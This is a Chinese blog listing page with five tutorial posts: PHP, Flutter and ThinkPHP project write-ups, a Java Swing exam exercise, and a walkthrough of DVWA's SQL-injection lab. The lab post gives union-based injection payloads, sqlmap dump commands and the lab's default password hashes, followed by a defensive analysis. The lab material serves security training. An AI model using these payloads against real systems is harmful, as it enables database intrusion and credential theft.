找到
611
篇与
阿贵
相关的结果
- 第 2 页
-
AI生成漂流瓶程序开源发布:体验随机邂逅的乐趣 AI生成漂流瓶程序开源发布:体验随机邂逅的乐趣 基于PHP开发的趣味漂流瓶应用,支持消息传递和后台管理🌊 项目概述 p1.jpg图片 p2.jpg图片 最近心血来潮,我使用AI辅助开发了一款有趣的漂流瓶程序。这是一个充满随机性和惊喜的web应用,用户可以通过"扔瓶子"和"捞瓶子"的方式与陌生人进行匿名交流。虽然代码结构较为简单,但功能完整,适合学习和二次开发。 下载地址:隐藏内容,请前往内页查看详情 🎯 项目特色 核心功能 扔漂流瓶:用户可以向大海投入包含消息的漂流瓶 捞漂流瓶:随机捞取其他用户投放的漂流瓶 匿名交流:保护用户隐私的匿名聊天系统 后台管理:第一个注册的用户自动获得管理员权限 技术特点 纯PHP开发:无需复杂框架,易于理解和部署 轻量级设计:单个文件实现主要功能,代码简洁 AI辅助开发:使用AI生成代码,快速实现创意想法 🚀 快速开始 环境要求 PHP版本:5.6或更高版本(推荐PHP 7.4+) 数据库:MySQL 5.5或更高版本 Web服务器:Apache或Nginx 安装步骤 创建数据库 CREATE DATABASE bottle_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 导入SQL文件 mysql -u username -p bottle_db < database.sql 修改数据库配置 编辑index.php文件中的数据库连接信息: // 修改以下配置信息 $db_host = 'localhost'; // 数据库主机 $db_name = 'bottle_db'; // 数据库名称 $db_user = 'root'; // 数据库用户名 $db_pass = 'password'; // 数据库密码 // 创建数据库连接 $conn = new mysqli($db_host, $db_user, $db_pass, $db_name); if ($conn->connect_error) { die("数据库连接失败: " . $conn->connect_error); } 访问网站 前台地址:http://您的域名/index.php 后台管理:第一个注册的用户自动获得管理员权限 📋 功能说明 用户功能 // 用户注册和登录示例代码 function registerUser($username, $password) { global $conn; $hashed_password = password_hash($password, PASSWORD_DEFAULT); $stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)"); $stmt->bind_param("ss", $username, $hashed_password); return $stmt->execute(); } function loginUser($username, $password) { global $conn; $stmt = $conn->prepare("SELECT password FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $user = $result->fetch_assoc(); return password_verify($password, $user['password']); } return false; }漂流瓶功能 // 扔漂流瓶功能 function throwBottle($user_id, $message) { global $conn; $stmt = $conn->prepare("INSERT INTO bottles (user_id, message, create_time) VALUES (?, ?, NOW())"); $stmt->bind_param("is", $user_id, $message); return $stmt->execute(); } // 捞漂流瓶功能 function pickBottle() { global $conn; $result = $conn->query("SELECT * FROM bottles ORDER BY RAND() LIMIT 1"); if ($result->num_rows > 0) { return $result->fetch_assoc(); } return null; }🎨 界面优化建议 虽然当前UI比较简陋,但可以通过以下方式进行美化: CSS样式优化 /* 基础样式优化 */ .bottle-container { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 20px; } .bottle-card { background: rgba(255, 255, 255, 0.9); border-radius: 15px; padding: 20px; box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); margin: 10px; backdrop-filter: blur(10px); } .btn-ocean { background: #4facfe; color: white; border: none; padding: 12px 24px; border-radius: 25px; cursor: pointer; transition: all 0.3s ease; } .btn-ocean:hover { background: #00f2fe; transform: translateY(-2px); }JavaScript交互增强 // 添加动画效果 function animateBottleThrow() { const bottle = document.createElement('div'); bottle.className = 'bottle-animation'; bottle.innerHTML = '🎋'; document.body.appendChild(bottle); setTimeout(() => { bottle.remove(); }, 2000); } // AJAX异步交互 async function throwBottleAsync(message) { try { const response = await fetch('api/throw_bottle.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ message: message }) }); return await response.json(); } catch (error) { console.error('扔瓶子失败:', error); } }🔧 二次开发建议 功能扩展 瓶子类型系统:添加不同类型的瓶子(问题瓶、祝福瓶等) 积分系统:扔瓶子消耗积分,捞瓶子获得积分 私信功能:允许用户之间建立私密对话 地理位置:显示瓶子的"漂流距离" 时间限制:瓶子有过期时间,增加紧迫感 代码结构优化 // 建议的MVC结构重构 // Model层 class BottleModel { public static function create($user_id, $message) { // 数据库操作 } public static function getRandom() { // 随机获取瓶子 } } // Controller层 class BottleController { public function throwAction() { $message = $_POST['message']; $result = BottleModel::create($_SESSION['user_id'], $message); // 返回结果 } }🔒 安全增强建议 基础安全措施 // 输入验证和过滤 function validateInput($input) { $input = trim($input); $input = stripslashes($input); $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); return $input; } // SQL注入防护 function getBottlesByUser($user_id) { global $conn; $stmt = $conn->prepare("SELECT * FROM bottles WHERE user_id = ?"); $stmt->bind_param("i", $user_id); $stmt->execute(); return $stmt->get_result(); }PHP代码加密保护 对于计划商用的用户,建议对PHP代码进行加密保护: PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等多种版本 灵活的方案:支持goto、enphp、noname等加密方式 完全免费:全站免费使用 易于使用:轻松保护代码安全 📊 数据库结构 主要数据表结构: -- 用户表 CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, is_admin TINYINT(1) DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ); -- 漂流瓶表 CREATE TABLE bottles ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, message TEXT NOT NULL, is_read TINYINT(1) DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) );🎉 结语 这个漂流瓶程序虽然代码结构简单,但提供了一个完整的功能基础。它非常适合: 学习参考:了解PHP基础编程和数据库操作 二次开发:基于现有功能进行扩展和优化 创意实践:体验AI辅助编程的乐趣 社区建设:搭建小型的匿名交流平台 项目特点: 🌊 简单易用的漂流瓶功能 🔐 基本的用户管理系统 👑 第一个用户自动成为管理员 💡 AI辅助开发,代码易于理解 🎨 界面简陋但功能完整 使用建议: 建议在本地或测试环境先进行体验 生产环境使用前请进行安全加固 欢迎对UI界面进行重写和美化 可以根据需求扩展更多有趣功能 如果您对这个项目感兴趣,欢迎下载体验并提出宝贵建议!让我们一起让这个漂流瓶程序变得更加完善和有趣。 温馨提示:请在遵守相关法律法规的前提下使用本程序,尊重用户隐私,营造健康的网络交流环境。
-
Flutter极客软件库开源发布:跨平台应用开发新选择 Flutter极客软件库开源发布:跨平台应用开发新选择 基于Flutter开发的现代化软件库,持续更新中,欢迎社区贡献🎯 项目概述 最近利用空闲时间,我使用Flutter开发了一个极客软件库(Geek Library),现已正式开源。该项目旨在为开发者提供一个实用、高效的Flutter组件和工具集合,目前仍在持续完善中,欢迎社区开发者提出宝贵建议和贡献代码。 开源地址:隐藏内容,请前往内页查看详情 🚀 项目特色 e1.jpg图片 e2.jpg图片 e3.jpg图片 e4.jpg图片 e5.jpg图片 e6.jpg图片 e7.jpg图片 跨平台支持 全平台兼容:基于Flutter框架,支持iOS、Android、Web、Windows、macOS、Linux六大平台 一致体验:在不同平台上提供统一的用户体验和界面设计 高效开发:一次编写,多端运行,大幅提升开发效率 技术架构 // 示例:基础组件结构 class GeekButton extends StatelessWidget { final String text; final VoidCallback onPressed; final GeekButtonStyle style; const GeekButton({ Key? key, required this.text, required this.onPressed, this.style = GeekButtonStyle.primary, }) : super(key: key); @override Widget build(BuildContext context) { return ElevatedButton( onPressed: onPressed, style: _getButtonStyle(style), child: Text(text), ); } ButtonStyle _getButtonStyle(GeekButtonStyle style) { // 样式配置逻辑 } }📦 主要功能模块 核心组件库 UI组件:按钮、卡片、对话框、表单控件等 布局组件:响应式布局、网格系统、列表视图 动画组件:预定义动画效果和过渡动画 工具类集合 // 工具类示例 class GeekUtils { // 网络请求工具 static Future<Response> get(String url) async { return await http.get(Uri.parse(url)); } // 本地存储工具 static Future<void> saveData(String key, String value) async { final prefs = await SharedPreferences.getInstance(); await prefs.setString(key, value); } // 设备信息工具 static Future<String> getDeviceInfo() async { final deviceInfo = DeviceInfoPlugin(); if (Platform.isAndroid) { final androidInfo = await deviceInfo.androidInfo; return androidInfo.model; } else if (Platform.isIOS) { final iosInfo = await deviceInfo.iosInfo; return iosInfo.utsname.machine; } return 'Unknown device'; } }特色功能 主题切换:支持明暗主题动态切换 多语言支持:国际化支持,易于本地化 状态管理:提供多种状态管理方案 路由管理:简洁高效的路由导航系统 🛠️ 安装和使用 环境要求 Flutter SDK:3.0.0或更高版本 Dart:2.17.0或更高版本 开发工具:Android Studio、VS Code或IntelliJ IDEA 安装步骤 添加依赖 dependencies: geek_library: git: url: https://gitee.com/geek-fox/geek.git ref: main 导入包 import 'package:geek_library/geek_library.dart'; 使用组件 GeekButton( text: '点击我', onPressed: () { GeekUtils.showToast('Hello Geek!'); }, style: GeekButtonStyle.primary, ) 🎨 自定义配置 主题定制 // 自定义主题配置 GeekThemeData myTheme = GeekThemeData( primaryColor: Colors.blue, accentColor: Colors.orange, textTheme: TextTheme( headline1: TextStyle(fontSize: 24, fontWeight: FontWeight.bold), bodyText1: TextStyle(fontSize: 16, color: Colors.black87), ), ); // 应用主题 GeekApp( theme: myTheme, home: MyHomePage(), );组件样式覆盖 // 自定义按钮样式 GeekButton( text: '自定义按钮', onPressed: () {}, style: GeekButtonStyle.custom( backgroundColor: Colors.purple, textColor: Colors.white, borderRadius: 20, ), )🔧 开发指南 项目结构 geek/ ├── lib/ │ ├── src/ │ │ ├── components/ # 组件库 │ │ ├── utils/ # 工具类 │ │ ├── themes/ # 主题配置 │ │ └── models/ # 数据模型 │ ├── geek_library.dart # 主入口文件 │ └── exports.dart # 导出文件 ├── example/ # 示例项目 └── test/ # 测试文件贡献代码 Fork仓库 创建特性分支 git checkout -b feature/AmazingFeature 提交更改 git commit -m 'Add some AmazingFeature' 推送到分支 git push origin feature/AmazingFeature 创建Pull Request 📱 示例应用 项目包含完整的示例应用,展示所有组件的使用方法: // 示例应用主入口 void main() { runApp(GeekExampleApp()); } class GeekExampleApp extends StatelessWidget { @override Widget build(BuildContext context) { return MaterialApp( title: 'Geek Library Example', theme: GeekThemes.lightTheme, darkTheme: GeekThemes.darkTheme, home: ComponentShowcase(), ); } }🚀 未来发展计划 [ ] 增加更多UI组件 [ ] 添加高级动画效果 [ ] 支持插件系统 [ ] 提供更多工具类 [ ] 完善文档和示例 [ ] 增加测试覆盖率 🔒 代码保护建议(PHP相关) 虽然本项目是Dart/Flutter项目,但对于后端PHP代码,建议使用加密保护: PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等版本 灵活的方案:goto、enphp、noname等加密方式 完全免费:全站免费使用 易于使用:轻松保护代码安全 💡 使用建议 学习参考:适合学习Flutter组件开发 项目开发:可直接用于实际项目开发 二次开发:基于现有架构进行功能扩展 贡献参与:欢迎提交PR和Issue 🎉 结语 Geek软件库是一个持续发展的Flutter组件库项目,旨在为开发者提供高质量、可复用的UI组件和工具类。项目完全开源,欢迎社区开发者参与贡献,共同打造更好的Flutter开发生态。 项目特点: 🌟 完全开源,社区驱动 🚀 多平台支持,一次编写到处运行 🎨 丰富的UI组件和主题系统 🔧 实用的工具类集合 📖 完整的示例和文档 如果您对这个项目感兴趣,欢迎: ⭐ Star 项目支持 🐛 提交Issue反馈问题 🔄 Fork代码进行二次开发 💬 提出宝贵建议和功能需求 欢迎访问Gitee仓库查看详细代码和示例:隐藏内容,请前往内页查看详情 让我们一起打造更好的Flutter开发体验!
-
个人作品展示平台小程序:基于ThinkPHP+uni-app的全栈开发实战 个人作品展示平台小程序:基于ThinkPHP+uni-app的全栈开发实战 前后端分离架构,包含前台展示与后台管理,支持数据可视化与分析🎯 项目概述 今天给大家分享一个完整的个人作品展示平台项目,包含前台展示系统和后台管理系统。该项目采用前后端分离架构,前端基于uni-app(Vue.js)开发,后端基于ThinkPHP框架提供RESTful API接口。虽然前端代码未完全开源,但提供了足够的基础功能和自定义空间。 c1.jpg图片 c2.jpg图片 c3.jpg图片 c4.jpg图片 📁 源码地址 后端源码:隐藏内容,请前往内页查看详情 前端源码:隐藏内容,请前往内页查看详情 🚀 系统功能特色 前台展示功能 个人信息展示:完整展示个人简介、技术栈、联系方式 项目案例展示:支持项目分类、图片轮播、详情查看 数据可视化:集成ECharts,展示客户分布地图和访问统计 多渠道联系:提供多种联系方式并支持在线留言 后台管理功能 用户权限管理:完善的用户管理和权限控制系统 项目内容管理:项目信息、分类、图片等内容管理 数据统计分析:访问统计、地理分布、热门页面分析 系统参数配置:灵活的系统设置和技术栈管理 🛠️ 技术架构 后端技术栈 // ThinkPHP RESTful API 示例 namespace app\api\controller; use think\Controller; use think\Request; class Projects extends Controller { // 获取项目列表 public function index() { $projects = model('Project')->with('category')->select(); return json(['code' => 200, 'data' => $projects]); } // 获取单个项目详情 public function read($id) { $project = model('Project')->with('images')->find($id); return json(['code' => 200, 'data' => $project]); } }前端技术栈 // uni-app 页面示例 <template> <view class="project-detail"> <swiper :indicator-dots="true" :autoplay="true"> <swiper-item v-for="(image, index) in project.images" :key="index"> <image :src="image.url" mode="aspectFill" /> </swiper-item> </swiper> <view class="project-info"> <text class="title">{{ project.title }}</text> <text class="description">{{ project.description }}</text> </view> </view> </template> <script> export default { data() { return { project: {} } }, onLoad(options) { this.getProjectDetail(options.id) }, methods: { async getProjectDetail(id) { const res = await this.$http.get(`/projects/${id}`) this.project = res.data } } } </script>📊 数据可视化实现 系统集成了ECharts实现丰富的数据可视化效果: // ECharts 配置示例 const initChart = () => { const chart = echarts.init(document.getElementById('visit-chart')) const option = { title: { text: '访问统计' }, tooltip: {}, xAxis: { data: ['周一', '周二', '周三', '周四', '周五', '周六', '周日'] }, yAxis: {}, series: [{ name: '访问量', type: 'bar', data: [120, 200, 150, 80, 70, 110, 130] }] } chart.setOption(option) }⚙️ 安装部署指南 环境要求 PHP版本:7.4+(推荐8.0+) 数据库:MySQL 5.7+ 或 PostgreSQL Web服务器:Nginx/Apache Node.js:14.0+(前端构建需要) 后端部署步骤 克隆源码 git clone https://github.com/newpetersun/petersun-php-admin.git cd petersun-php-admin 安装依赖 composer install 环境配置 cp .env.example .env # 编辑.env文件配置数据库信息 数据库初始化 php think migrate:run php think seed:run 配置Web服务器 # Nginx配置示例 server { listen 80; server_name your-domain.com; root /path/to/petersun-php-admin/public; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } 前端部署步骤 克隆源码 隐藏内容,请前往内页查看详情 安装依赖 npm install 配置API地址 // 修改config/api.js中的后端API地址 export const BASE_URL = 'https://your-api-domain.com/api' 构建项目 # 构建H5版本 npm run build:h5 # 或构建微信小程序版本 npm run build:mp-weixin 🔒 代码安全保护建议 对于PHP后端代码,建议使用加密保护以防止源码泄露: 推荐加密平台 PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等多种版本 灵活的方案:支持goto、enphp、noname等加密方式 完全免费:全站免费使用,支持扩展和非扩展加密 易于使用:轻松保护代码安全 加密示例 # 加密前后对比 # 加密前:可读的PHP代码 public function getUserInfo($userId) { return Db::name('user')->where('id', $userId)->find(); } # 加密后:保护的核心业务逻辑 # 加密后的代码无法直接阅读,有效防止源码分析🎨 自定义修改指南 虽然前端未完全开源,但支持以下自定义: 样式修改 /* 修改主题颜色 */ :root { --primary-color: #3498db; --secondary-color: #2ecc71; } /* 调整布局样式 */ .project-card { border-radius: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); }功能扩展建议 添加博客模块:集成Markdown编辑器 增强SEO:实现SSR服务端渲染 多语言支持:添加i18n国际化 性能优化:实现缓存和CDN加速 📈 项目特色亮点 完整的全栈解决方案:提供从后端到前端的完整代码 现代化技术栈:采用主流框架和开发模式 丰富的可视化效果:集成ECharts实现数据展示 响应式设计:完美适配各种设备屏幕 良好的代码结构:便于二次开发和功能扩展 💡 使用建议 学习参考:适合学习ThinkPHP和uni-app开发 项目展示:可用于个人作品集展示 二次开发:基于现有架构进行功能扩展 商业应用:适当修改后可用于商业项目 🎉 结语 这个个人作品展示平台项目提供了一个完整的前后端分离开发范例,无论是学习全栈开发技术,还是需要搭建个人作品展示网站,都是很好的选择。项目的模块化设计和清晰的代码结构,使得二次开发和功能扩展变得相对容易。 温馨提示: 部署前请仔细阅读文档和代码注释 生产环境建议启用HTTPS和代码加密 定期备份数据库和源码文件 如果您对这个项目感兴趣,欢迎: ⭐ Star GitHub仓库支持开发者 🐛 提交Issue反馈问题 🔄 Fork代码进行二次开发 欢迎在评论区留言交流使用体验和技术问题!
-
DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) 深入掌握SQL注入技巧,从零开始通关DVWA靶场SQL注入是Web安全领域最常见也是最危险的漏洞之一。DVWA(Damn Vulnerable Web Application)作为一个专门用于安全练习的靶场,提供了从低到高四个安全级别的SQL注入环境。本文将详细讲解每个级别的通关技巧和防御原理。 1 SQL注入原理简介 SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到Web应用程序的输入参数中,欺骗服务器执行这些恶意代码的攻击方式。当Web应用程序没有对用户输入进行充分过滤或验证时,就可能发生这种漏洞。 SQL注入的主要危害包括: 数据库敏感信息泄露 数据库数据被篡改 服务器被接管 攻击内网其他系统 2 DVWA环境搭建 DVWA是一个使用PHP/MySQL开发的Web应用程序,可以在多种平台上运行(Windows/Linux with XAMPP、WAMP或LAMP)。 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) 安全级别设置: 在DVWA首页可以设置四个安全级别: Low:低级安全(无任何防护) Medium:中级安全(基础过滤) High:高级安全(较强防护) Impossible:顶级安全(近乎完美防护) 3 Low级别通关详解 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤: $id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";用户输入的id参数直接拼接到SQL语句中,存在明显的字符型SQL注入漏洞。 3.2 注入步骤 3.2.1 判断注入点类型 首先输入正常值观察回显: id=1回显正常,显示用户ID为1的用户名。 接着测试注入类型,输入: id=1'页面报错,说明存在字符型注入,且使用单引号闭合。 3.2.2 确定字段数 使用order by语句判断查询结果的字段数: id=1' order by 2# 回显正常 id=1' order by 3#回显错误,说明字段数为2。 3.2.3 查找回显点 使用union联合查询确定回显位置: id=-1' union select 1,2#页面显示1和2,说明两个位置都可以回显。 3.2.4 获取数据库信息 获取当前数据库和版本信息: id=-1' union select database(),version()#回显结果为:数据库名dvwa,MySQL版本号。 3.2.5 获取表名 id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#回显显示有两个表:guestbook和users。 3.2.6 获取列名 id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#回显显示users表有多个字段,包括user_id, first_name, last_name, user, password等。 3.2.7 提取数据 获取所有用户名和密码: id=-1' union select group_concat(user),group_concat(password) from users#回显所有用户名和经过MD5加密的密码。 DVWA用户默认密码: 用户名MD5密码明文密码admin5f4dcc3b5aa765d61d8327deb882cf99passwordgordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password可以使用在线MD5解密网站破解这些哈希值。 3.3 自动化工具注入 使用SQLmap工具可以自动化完成上述过程: 登录DVWA后获取Cookie值 使用以下命令进行注入: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --batch --dbs或者 sqlmap -u "https://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=<your-session-id>" --current-db --batch1.png图片 2.png图片 获取数据库后,进一步提取表、字段和数据: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ -D dvwa -T users --dump3.png图片 4 Medium级别通关详解 4.1 漏洞分析 Medium级别使用了mysqli_real_escape_string()函数对输入进行转义: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);此函数转义以下字符:\x00, \n, \r, \, ', "和\x1a。 但是查询语句发生了变化: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。 4.2 注入步骤 4.2.1 判断注入类型 由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。 抓包后修改id参数为: id=1 or 1=1#页面显示所有用户信息,说明存在数字型注入。 4.2.2 确定字段数 id=1 order by 2#回显正常 id=1 order by 3#回显错误,确定字段数为2。 4.2.3 获取数据库信息 后续步骤与Low级别类似,但需要注意: 不需要单引号闭合 如果需要查询指定表名,需要将表名转换为十六进制绕过过滤 例如查询users表的列名: id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#这里0x7573657273是users的十六进制表示。 5 High级别通关详解 5.1 漏洞分析 High级别的SQL查询语句增加了LIMIT 1限制: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";这旨在限制只返回一个结果,但可以通过注释符#绕过这一限制。 5.2 注入步骤 High级别的注入点位于另一个页面,需要通过点击"here to change your ID"链接进入。 注入过程与Low级别类似,只需要在注入payload末尾添加#注释掉后面的LIMIT 1: id=1' union select user,password from users# 这样就能获取所有用户信息,而不受LIMIT 1的限制。 6 Impossible级别防御分析 Impossible级别采用了多种安全措施,有效防止了SQL注入: 6.1 PDO预处理语句 $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute();使用PDO预处理语句将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分。 6.2 输入类型检查 if(is_numeric($id))检查输入是否为数字类型,确保输入符合预期格式。 6.3 结果数量检查 if($data->rowCount() == 1)确保只返回一个结果,防止信息泄露。 6.4 CSRF令牌保护 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');实施CSRF令牌机制,防止CSRF攻击。 7 SQL注入防御方案 根据DVWA四个级别的防护措施,总结SQL注入的有效防御方案: 使用预处理语句(PDO或MySQLi) 这是最有效、最根本的防御方式,能彻底分离代码和数据。 严格输入验证和过滤 对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 最小权限原则 Web应用程序连接数据库时应使用最低权限账户,避免使用管理员账户。 错误信息处理 自定义错误信息,避免向用户暴露数据库结构信息。 多层安全防护 使用WAF、IDS/IPS等安全设备提供额外保护层。 8 总结 通过DVWA四个级别的SQL注入实验,我们可以得出以下结论: Low级别:完全没有防护,最容易利用,但也最能展示SQL注入的原理和危害。 Medium级别:试图通过转义特殊字符进行防护,但由于注入类型判断错误,防护效果有限。 High级别:增加了结果数量限制,但可以通过简单注释绕过,防护仍不完善。 Impossible级别:采用预处理语句、输入验证和多层防护,提供了有效的安全保障。 最重要的是:在实际开发中,应该始终使用Prepared Statements(预处理语句)来防止SQL注入攻击,这是唯一被证明有效且全面的防御方式。 希望本文能帮助你理解SQL注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。
-
Java Swing 鼠标事件监听实战:追踪鼠标位置 Java Swing 鼠标事件监听实战:追踪鼠标位置 130.png图片 一、原题完整代码呈现 以下是Java Swing中关于鼠标移动事件监听的典型题型,通过面板实时显示鼠标当前位置,包含3处需要填写的空白(标记为//*********Found**********): import javax.swing.*; import java.awt.*; import java.awt.event.*; public class Java_3 { public static void main(String[] args) { JFrame frame = new JFrame("Mouse Demo"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.getContentPane().add(new MousePanel()); frame.pack(); frame.setVisible(true); } } //*********Found********** class ___________ extends JPanel { private JLabel b; public MousePanel() { b = new JLabel(" 起始状态 "); setLayout(new BorderLayout()); add(b, BorderLayout.SOUTH); addMouseMotionListener(new MouseMotion()); setPreferredSize(new Dimension(300, 200)); } //*********Found********** private class MouseMotion extends ___________ { public void mouseMoved(MouseEvent e) { //*********Found********** b.setText(" 鼠标当前位置: "+ e._________+ " , " + e.__________); } } }二、空白处逐一解析与解答 1. 第一处空白:自定义面板类的类名 答案:MousePanel //*********Found********** class MousePanel extends JPanel {解析: 在main方法中,程序通过frame.getContentPane().add(new MousePanel())添加了一个面板实例,说明存在名为MousePanel的类,且该类继承JPanel(用于创建自定义面板)。因此此处应填写MousePanel。 2. 第二处空白:鼠标移动监听器的父类/接口 答案:MouseMotionAdapter //*********Found********** private class MouseMotion extends MouseMotionAdapter {解析: addMouseMotionListener(MouseMotionListener l)方法需要接收MouseMotionListener接口的实现类。MouseMotionAdapter是该接口的适配器类(空实现所有方法),通过继承它可以只重写需要的方法(如mouseMoved),避免实现接口时必须重写所有方法的冗余。因此此处填写MouseMotionAdapter。 3. 第三处空白:获取鼠标坐标的方法 答案:getX() 和 getY() //*********Found********** b.setText(" 鼠标当前位置: "+ e.getX() + " , " + e.getY());解析: MouseEvent类提供了获取鼠标位置的方法:getX()返回鼠标在组件中的x坐标,getY()返回y坐标。此处需要在标签中显示这两个坐标,因此分别填写getX()和getY()。 三、完整正确代码 隐藏内容,请前往内页查看详情 四、程序功能与运行说明 程序功能 该程序实现了一个窗口,通过鼠标移动事件监听,在窗口底部的标签中实时显示鼠标在面板中的坐标位置,具体功能包括: 创建标题为“Mouse Demo”的窗口,添加自定义面板MousePanel; 面板底部放置标签,初始显示“ 起始状态 ”; 监听鼠标在面板中的移动事件,实时更新标签内容为鼠标当前的(x,y)坐标。 运行说明 程序启动后,显示一个300×200的窗口,底部标签显示初始状态; 当鼠标在面板中移动时,标签实时更新为“ 鼠标当前位置: x , y ”(x为水平坐标,y为垂直坐标); 坐标原点(0,0)位于面板左上角,向右x增大,向下y增大; 关闭窗口时程序退出。 五、核心知识点总结 自定义面板类 通过class MousePanel extends JPanel创建自定义面板,继承JPanel的所有属性和方法; 面板中可添加组件(如JLabel),并设置布局(如BorderLayout)和 preferredSize(通过setPreferredSize设置面板默认大小)。 鼠标事件监听机制 鼠标移动事件:属于MouseMotionListener接口管辖,包含mouseMoved(鼠标移动)和mouseDragged(鼠标拖拽)两个方法; 适配器类:MouseMotionAdapter是MouseMotionListener的适配器,提供了接口方法的空实现,继承它可以只重写需要的方法(如本例只重写mouseMoved),简化代码; 注册监听器:通过addMouseMotionListener(监听器实例)为面板注册鼠标移动监听器,使面板能响应鼠标移动事件。 MouseEvent类的坐标获取 getX():返回鼠标事件发生时,鼠标在源组件(本例中为MousePanel)中的水平坐标; getY():返回垂直坐标; 坐标体系:组件的左上角为原点(0,0),向右x递增,向下y递增。 Swing窗口基础 JFrame:主窗口容器,通过setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE)设置关闭窗口时退出程序; pack():根据组件的preferredSize自动调整窗口大小; setVisible(true):使窗口可见。 六、常见错误与应试技巧 常见错误分析 第一处空白类名错误:写成MouseDemo或其他名称(必须与main方法中创建的实例new MousePanel()一致); 第二处空白父类错误:写成MouseMotionListener(直接实现接口需重写所有方法,而代码中只重写了mouseMoved,会编译错误); 第三处空白方法错误:写成getX和getY(遗漏括号,方法调用需带(),否则编译错误)或getXCoordinate()(不存在该方法,正确方法为getX()和getY())。 应试技巧 自定义面板:“面板类名看实例,main方法中new的是谁,类名就是谁,继承JPanel不能忘”; 事件适配器:“鼠标移动用MouseMotionListener,适配器是MouseMotionAdapter,继承它只重写需要的方法”; 坐标获取:“鼠标位置用getX和getY,方法带括号,返回当前坐标值,实时更新到标签”。 通过本题,我们掌握了Swing中鼠标移动事件的监听机制、适配器类的使用及坐标获取方法。这些是Java GUI编程中处理用户交互的基础,理解并熟练运用这些知识点,能帮助我们实现更丰富的交互功能(如绘图、拖拽等)。